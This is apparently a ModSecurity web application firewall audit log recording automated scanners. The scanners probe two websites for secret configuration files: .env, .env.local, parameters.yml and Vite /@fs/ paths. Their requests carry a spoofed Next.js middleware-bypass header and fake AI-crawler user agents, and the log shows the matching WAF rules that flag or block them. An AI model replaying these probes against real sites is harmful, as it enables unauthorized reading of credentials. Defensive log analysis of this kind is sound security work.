[13/Sep/2026:13:01:58.531415 +0300] aqZ0lisVWymXUono-eRVYQAAABE 45.138.12.13 35298 127.0.0.1 7081
--8d4c796f-B--
GET /config/parameters.yml HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--8d4c796f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--8d4c796f-E--
--8d4c796f-H--
Message: Warning. Matched phrase "parameters.yml" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "parameters.yml" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/config/parameters.yml"] [unique_id "aqZ0lisVWymXUono-eRVYQAAABE"]
Stopwatch: 1789293718526155 5362 (- - -)
Stopwatch2: 1789293718526155 5362; combined=4098, p1=242, p2=3741, p3=62, p4=9, p5=43, sr=105, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8d4c796f-Z--
--d5a92759-A--
[13/Sep/2026:13:01:58.539558 +0300] aqZ0ljTJ6xTvcJoem7f7bAAAAEc 45.138.12.13 35344 127.0.0.1 7081
--d5a92759-B--
GET /api/config/config.yml HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--d5a92759-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--d5a92759-E--
--d5a92759-H--
Message: Warning. Matched phrase "config.yml" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "config.yml" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/api/config/config.yml"] [unique_id "aqZ0ljTJ6xTvcJoem7f7bAAAAEc"]
Stopwatch: 1789293718528522 11199 (- - -)
Stopwatch2: 1789293718528522 11199; combined=10037, p1=230, p2=9694, p3=60, p4=8, p5=44, sr=117, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d5a92759-Z--
--40b7cf66-A--
[13/Sep/2026:13:01:58.585850 +0300] aqZ0lisVWymXUono-eRVYAAAABU 45.138.12.13 35306 127.0.0.1 7081
--40b7cf66-B--
GET /app/config/parameters.yml HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--40b7cf66-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--40b7cf66-H--
Message: Warning. Matched phrase "app/config/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/app/config/parameters.yml||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:13-01.45.138.12.13||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "app/config/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/app/config/parameters.yml||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/app/config/parameters.yml"] [unique_id "aqZ0lisVWymXUono-eRVYAAAABU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:13-01.45.138.12.13||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/app/config/parameters.yml"] [unique_id "aqZ0lisVWymXUono-eRVYAAAABU"]
Action: Intercepted (phase 2)
Stopwatch: 1789293718519059 66871 (- - -)
Stopwatch2: 1789293718519059 66871; combined=65416, p1=259, p2=64822, p3=0, p4=0, p5=335, sr=115, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--40b7cf66-Z--
--ed5dba5a-A--
[13/Sep/2026:13:02:10.381442 +0300] aqZ0oWM7dE9KgIIOpQh3UQAAANQ 34.80.249.255 54424 127.0.0.1 7081
--ed5dba5a-B--
POST /graphql HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
Origin: https://alexandervodka.com
Referer: https://alexandervodka.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Brave";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
--ed5dba5a-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--ed5dba5a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293729985141 396379 (- - -)
Stopwatch2: 1789293729985141 396379; combined=12578, p1=236, p2=12046, p3=0, p4=0, p5=295, sr=81, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ed5dba5a-Z--
--6778576b-A--
[13/Sep/2026:13:02:10.705118 +0300] aqZ0omM7dE9KgIIOpQh3WAAAANU 34.80.249.255 54498 127.0.0.1 7081
--6778576b-B--
POST /api/graphql HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
Origin: https://alexandervodka.com
Referer: https://alexandervodka.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Brave";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
--6778576b-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--6778576b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293730630767 74438 (- - -)
Stopwatch2: 1789293730630767 74438; combined=5214, p1=298, p2=4665, p3=0, p4=0, p5=251, sr=125, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6778576b-Z--
--a042af50-A--
[13/Sep/2026:13:02:11.085555 +0300] aqZ0okwu1RSkptiiNIX5uQAAAJY 34.80.249.255 54544 127.0.0.1 7081
--a042af50-B--
POST /v1/graphql HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 86
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Content-Type: application/json
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
Origin: https://alexandervodka.com
Referer: https://alexandervodka.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Brave";v="152"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
--a042af50-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--a042af50-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293730984495 101180 (- - -)
Stopwatch2: 1789293730984495 101180; combined=5613, p1=389, p2=4954, p3=0, p4=0, p5=270, sr=133, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a042af50-Z--
--86595d4f-A--
[13/Sep/2026:13:02:11.216052 +0300] aqZ0ozTJ6xTvcJoem7f7eAAAAEg 34.80.249.255 54556 127.0.0.1 7081
--86595d4f-B--
GET /.env?raw HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--86595d4f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--86595d4f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqZ0ozTJ6xTvcJoem7f7eAAAAEg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293731145666 70442 (- - -)
Stopwatch2: 1789293731145666 70442; combined=4162, p1=218, p2=3865, p3=0, p4=0, p5=78, sr=91, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--86595d4f-Z--
--20873102-A--
[13/Sep/2026:13:02:11.337781 +0300] aqZ0o2M7dE9KgIIOpQh3XgAAAMc 34.80.249.255 54576 127.0.0.1 7081
--20873102-B--
GET /.env?import&raw HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--20873102-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--20873102-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqZ0o2M7dE9KgIIOpQh3XgAAAMc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293731266256 71606 (- - -)
Stopwatch2: 1789293731266256 71606; combined=3302, p1=217, p2=2943, p3=0, p4=0, p5=142, sr=89, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--20873102-Z--
--2bb9622f-A--
[13/Sep/2026:13:02:11.665959 +0300] aqZ0ozTJ6xTvcJoem7f7egAAAE4 34.80.249.255 54590 127.0.0.1 7081
--2bb9622f-B--
GET /.env?import&url&inline HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--2bb9622f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--2bb9622f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&url&inline"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&url&inline"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqZ0ozTJ6xTvcJoem7f7egAAAE4"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293731482139 183880 (- - -)
Stopwatch2: 1789293731482139 183880; combined=3559, p1=237, p2=3265, p3=0, p4=0, p5=57, sr=123, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2bb9622f-Z--
--d8eb9674-A--
[13/Sep/2026:13:02:11.687001 +0300] aqZ0ozTJ6xTvcJoem7f7ewAAAEs 34.80.249.255 54614 127.0.0.1 7081
--d8eb9674-B--
GET /.env.local?import&raw HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--d8eb9674-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--d8eb9674-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqZ0ozTJ6xTvcJoem7f7ewAAAEs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqZ0ozTJ6xTvcJoem7f7ewAAAEs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293731568652 118416 (- - -)
Stopwatch2: 1789293731568652 118416; combined=33450, p1=196, p2=33196, p3=0, p4=0, p5=58, sr=77, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d8eb9674-Z--
--ed68696b-A--
[13/Sep/2026:13:02:11.759103 +0300] aqZ0oysVWymXUono-eRVZAAAAA8 34.80.249.255 54598 127.0.0.1 7081
--ed68696b-B--
GET /.env.local?raw HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--ed68696b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--ed68696b-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqZ0oysVWymXUono-eRVZAAAAA8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env.local"] [unique_id "aqZ0oysVWymXUono-eRVZAAAAA8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293731479417 279743 (- - -)
Stopwatch2: 1789293731479417 279743; combined=42403, p1=319, p2=42041, p3=0, p4=0, p5=43, sr=180, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--ed68696b-Z--
--35cc8618-A--
[13/Sep/2026:13:02:12.394323 +0300] aqZ0pDTJ6xTvcJoem7f7fgAAAFM 34.80.249.255 54678 127.0.0.1 7081
--35cc8618-B--
GET /@fs/app/.env?import&raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.80.249.255
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)
Accept: */*
Cookie: csrfToken=LsgQC%2FJUI7dJqIbWtSBtKTI3NGMyNWUyNDFjNDUwM2U3MTY5N2IxNDVlZTRkNGM1MTczYWFlZjY%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--35cc8618-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--35cc8618-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/@fs/app/.env"] [unique_id "aqZ0pDTJ6xTvcJoem7f7fgAAAFM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293732220902 173476 (- - -)
Stopwatch2: 1789293732220902 173476; combined=3337, p1=178, p2=3107, p3=0, p4=0, p5=52, sr=72, sw=0, l=0, gc=0
